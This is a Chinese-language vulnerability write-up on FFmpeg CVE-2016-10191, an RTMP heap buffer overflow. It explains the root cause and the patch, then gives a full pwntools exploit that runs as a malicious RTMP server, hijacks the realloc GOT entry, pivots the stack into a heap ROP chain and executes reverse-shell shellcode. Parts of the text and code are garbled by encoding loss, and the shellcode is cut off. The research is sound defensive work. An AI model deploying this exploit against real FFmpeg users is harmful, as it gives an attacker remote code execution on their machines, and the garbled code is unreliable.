FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用—【CVE-2016-10191】

阿里聚安全 / 2017-09-20 07:46:00 / 浏览数 4220 安全技术 漏洞分析 顶(1) 踩(0)

作者：栈长@蚂蚁金服巴斯光年安全实验室

一、前言

FFmpeg是一个著名的处理音视频的开源项目，使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-

二、漏洞成因分析

在 RTMP协议中，最小的发送数据包的单位是一个 chunk。客户端和服务器会互相协商好发送给对方的 chunk 的最大大小，初始为 0x80 个字节。一个 RTMP Message 如果超出了Max chunk size, 就需要被拆分成多个 chunk 来发送。在 chunk 的 header 中会带有 Chunk Stream ID 字段（后面简称 CSID），用于对等端在收到 chunk 的时候重新组装成一个 Message，相同的CSID 的 chunk 是属于同一个 Message 的。

在每一个 Chunk 的 Message Header 部分都会有一个 Size 字段存储该 chunk 所属的 Message 的大小，按道理如果是同一个 Message 的 chunk 的话，那么 size 字段都应该是相同的。这次漏洞的起因是对于属于同一个 Message 的 Chunk的 size 字段没有校验前后是否一致，导致写入堆的时候缓冲区溢出。

漏洞发生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函数中，漏洞相关部分的源代码如下

```
■    size = size - p->offset;    //size ■ chunk ■■■■ size ■■

■    //■■■■■■ size ■■■■

toread = FFMIN(size, chunk_size);//■■toread■■

if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {

ff_rtmp_packet_destroy(p);

return AVERROR(EIO);

■    }
```

在 max chunk size 为0x80的前提下，如果前一个 chunk 的 size 为一个比较下的数值，如0xa0，而后一个 chunk 的 size 为一个非常大的数值，如0x2000, 那么程序会分配一个0xa0大小的缓冲区用来存储整个
Message，第一次调用ffurlreadcomplete函数会读取0x80个字节，放到缓冲区中，而第二次调用的时候也是读取0x80个字节，这就造成了缓冲区的溢出。

官方修补方案

非常简单，只要加入对前后两个 chunk 的 size 大小是否一致的判断就行了，如果不一致的话就报错，并且直接把前一个 chunk 给销毁掉。

```
+    if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {

+        av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %d\n",

+               size,

+               prev_pkt[channel_id].size);

+        ff_rtmp_packet_destroy(&prev_pkt[channel_id]);

+        prev_pkt[channel_id].read = 0;

+    }

+
```

三、漏洞利用环境的搭建

漏洞利用的靶机环境

操作系统：Ubuntu 16.04 x64

FFmpeg版本：3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译，需要把官方教程中提及的所有 encoder编译进去。）

官方的编译过程由于很多都是静态编译，在一定程度上降低了利用难度。

四、漏洞利用脚本的编写

首先要确定大致的利用思路，由于是堆溢出，而且是任意多个字节的，所以第一步是观察一下堆上有什么比较有趣的数据结构可以覆盖。堆上主要有一个RTMPPacket结构体
RTMP Message，RTMPPacket的结构体定义是这样的：

```
/**

* structure for holding RTMP packets

*/

typedefstructRTMPPacket {

intchannel_id; ///< RTMP channel ID (nothing to do with audio/video channels though)

RTMPPacketType type;       ///< packet payload type

uint32_t       timestamp;  ///< packet full timestamp

uint32_t       ts_field;   ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media pack

■    uint32_t       extra;      ///< probably an additional channel ID used during streaming data    //■■■ Message Stream ID■

uint8_t        *data;      ///< packet payload

int            size;       ///< packet payload size

int            offset;     ///< amount of data read so far

int            read;       ///< amount read, including headers

} RTMPPacket;
```

其中有一个很重要的 data 字段就指向这个 Message 的 data buffer，也是分配在堆上。客户端在收到服务器发来的 RTMP 包的时候会把包的内容存储在 data
buffer 上，所以如果我们控制了RTMPPacket中的 data 指针，就可以做到任意地址写了。

我们的最终目的是要执行一段shellcode，反弹一个 shell
到我们的恶意服务器上。而要执行shellcode，可以通过mprotect函数将一段内存区域的权限修改为rwx，然后将shellcode部署到这段内存区域内，然后跳转过去执行。那么
ROP 了。ROP 可以部署在堆上，然后在程序中寻找合适的 gadget 把栈指针迁移到堆上就行了。

那么第一步就是如何控制RTMPPacket中的 data 指针了，我们先发一个 chunk
给客户端，CSID为0x4，程序为调用下面这个函数在堆上分配一个RTMPPacket[20] 的数组，然后在数组下面开辟一段buffer存储Message的 data。

```
if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,

channel_id)) < 0)
```

很容易想到利用堆溢出覆盖这个RTMPPacket的数组就可以了，但是这时候的堆布局数组是在可溢出的heap chunk的上方，怎么办？再发送一个CSID为20的
chunk 给客户端，ff_rtmp_check_alloc_array会调用realloc函数给数组重新分配更大的空间，然后数组就跑到下面去了。此时的堆布局如下

然后我们就可以构造数据包来溢出覆盖数组了，我们在数据包中伪造一个RTMPPacket结构体，然后把数组的第二项覆盖成我们伪造的结构体。其中 data
字段指向 got 表中的realloc（为什么覆盖realloc后面会提）， size 随意指定一个0x4141, read 字段指定为0x180,
只要不为0就行了（为0的话会在堆上malloc一块区域然后把 data 指针指向这块区域）。

这之后我们再发送 CSID 为2的一个 chunk，chunk 的内容就是要修改的 got 表的内容。这里我们覆盖成movrsp, rax这个gadget
的地址，用来迁移栈。接下来我们就把 ROP 部署在堆上。ROP 做了这么几件事：

1 调用mprotect使得代码段可写

2 把shellcode写入0x40000起始的位置

3 跳转到0x400000执行shellcode

发送足够数量的包部署好 ROP 之后，就要想办法调用realloc函数了，ffrtmpcheckallocarray函数调用了realloc, 发一个 CSID
为63的过去，就能触发这个函数调用realloc，在函数调用realloc之前正好能将RTMPPacket数组的起始地址填入rax，然后调用realloc的时候因为 got
表被覆写了，实际调用了movrsp, rax，然后就成功让栈指针指向堆上了。之后就可以成功开始执行我们的shellcode了。这个时候整个堆的布局如下：

最后利用成功的截图如下：

先在本机开启一个恶意的 RTMP 服务端

然后使用ffmpeg程序去连接上图的服务端

在另一个终端用nc监听31337端口

可以看到程序执行了我们的shellcode之后成功连上了31337端口，并反弹了一个 shell。

最后附上完整的exp，根据https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913修改而来

```
#!/usr/bin/python

#coding=utf-8


importos

import socket

importstruct

from time import sleep


frompwn import *


bind_ip = '0.0.0.0'

bind_port = 12345


elf = ELF('/home/dddong/bin/ffmpeg')


gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))




\# Gadgets that we need to know inside binary

\# to successfully exploit it remotely

add_esp_f8 = 0x00000000006719e3

pop_rdi = gadget('pop rdi; ret')

pop_rsi = gadget('pop rsi; ret')

pop_rdx = gadget('pop rdx; ret')

pop_rax = gadget('pop rax; ret')

mov_rsp_rax = gadget('movrsp, rax; ret')

mov_gadget = gadget('mov qword ptr [rax], rsi ; ret')




got_realloc = elf.got['realloc']
```

```
log.info("got_reallocaddr:%#x" % got_realloc)

plt_mprotect = elf.plt['mprotect']

log.info("plt_mprotectaddr:%#x" % plt_mprotect)


shellcode_location = 0x400000

\# backconnect 127.0.0.1:31337 x86_64 shellcode

shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\


shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8■■■■


defcreate_payload(size, data, channel_id):

■    """

■■■■RTMP Message

■    """

payload = ''

■    #Message header■■■■1

payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id;

payload += '\0\0\0' # ts_field

payload += p24(size) # size

payload += p8(0x00) # Message type


payload += data # data

return payload


defcreate_rtmp_packet(channel_id, write_location, size=0x4141):

■    """

■■■■RTMPPacket■■■

■    """

data = ''

data += p32(channel_id) # channel_id

data += p32(0) # type

data += p32(0) # timestamp

data += p32(0) # ts_field

data += p64(0) # extra
```

```
data += p64(write_location) # write_location - data


data += p32(size) # size

data += p32(0) # offset

data += p64(0x180) # read

return data


def p24(data):

packed_data = p32(data, endian='big')[1:]

assert(len(packed_data) == 3)

returnpacked_data



defhandle_request(client_socket):

■    v = client_socket.recv(1)   #■■■■■C0

client_socket.send(p8(3))   #■■■■■S0, ■■■


payload = ''

■    payload += '\x00' * 4   #■■■ timestamp■■■■■■

■    payload += '\x00' * 4   #■■■■■■ Server ■■■■■■■■■■■0■■■■■■■■■■■■

■    payload += os.urandom(1536 - 8) #■■■■■■■■

client_socket.send(payload) #■■■■■S1

client_socket.send(payload) #■■■■■S2


client_socket.recv(1536) #■■■■■C1

client_socket.recv(1536) #■■■■■C2

■    #■■■■■■■■■■


print 'sending payload'

payload = create_payload(0xa0, 'U' * 0x80, 4)

client_socket.send(payload)


payload = create_payload(0xa0, 'A' * 0x80, 20)

client_socket.send(payload)
```

```
data = ''
data += 'U' * 0x20 # the rest of chunk
data += p64(0)     # zerobytes
■    data += p64(0x6a1) # real size of chunk, ■■■size ■■■■■■■■■■■■■
data += p64(add_esp_f8) # trampoline to rop
■    data += 'Y' * (0x30 - 8) # channel_zero, ■■RTMPPacket[0]
■    data += 'Y' * 0x20 # channel_one, ■■■■RTMPPacket[1]

payload = create_payload(0x2000, data, 4)
client_socket.send(payload) #■■■■■■■■■■■■
data = ''
data += 'I' * 0x10 # fill the previous RTMPPacket[1]
■    #data += p64(add_rsp_a8)

data += create_rtmp_packet(2, got_realloc)
■    data += 'D' * (0x80 - len(data)) #■■■0x80■■■

payload = create_payload(0x1800, data, 4)
client_socket.send(payload)

■    #■ got ■■av_realloc■■
jmp_to_rop = ''
jmp_to_rop += p64(mov_rsp_rax)
jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop))
payload = create_payload(0x1800, jmp_to_rop, 2)
client_socket.send(payload)

rop = ''
rop += 'AAAAAAAA' * 6 # padding

rop += p64(pop_rdi)
rop += p64(shellcode_location) #shellcode■■■■■■■■■■ leak ■■■■
rop += p64(pop_rsi)
rop += p64(0x1000)
```

```
rop += p64(pop_rdx)
rop += p64(7)
rop += p64(plt_mprotect)
■    #mprotect(shellcode_location, 0x1000, 7)

write_location = shellcode_location
shellslices = map(''.join, zip(*[iter(shellcode)]*8)) #■shellcode■8■■■■1■■■

■    for shell in shellslices:   #■shellcode■■rop■■■■■
rop += p64(pop_rax)
rop += p64(write_location)
rop += p64(pop_rsi)
rop += shell
rop += p64(mov_gadget)

write_location += 8

rop += p64(shellcode_location)
rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80■■■■■

rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) #■rop■0x80■■■■1■■■
for data in rop_slices:
payload = create_payload(0x2000, data, 4)
client_socket.send(payload)

■    # does not matter what data to send because we try to trigger
■    # av_realloc function inside ff_rtmp_check_alloc_array
■    # so that av_realloc(our_data) shall be called
payload = create_payload(1, 'A', 63)
client_socket.send(payload)

sleep(3)
print 'sending done'
■    #raw_input("wait for user interaction.")
```

```
client_socket.close()


if __name__ == '__main__':

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.bind((bind_ip, bind_port))

s.listen(5)


while True:

print 'Waiting for new client...'

client_socket, addr = s.accept()

handle_request(client_socket)
```

五、参考资料

1 漏洞详情：http://www.openwall.com/lists/oss-security/2017/01/31/12

2 官方修复：https://github.com/FFmpeg/FFmpeg/commit/7d57ca4d9a75562fa32e40766211de150f8b3ee7

3 漏洞作者提供的exp：https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913

4 RTMP 介绍：http://mingyangshang.github.io/2016/03/06/RTMP%E5%8D%8F%E8%AE%AE/

5 RTMP 介绍：http://www.jianshu.com/p/00aceabce944

官方编译FFmpeg的教程：https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu

上一篇：黑客之死 下一篇：Tomcat信息泄漏和远程代码执行...

1. 0 条回复
   - 动动手指，沙发就是你的了！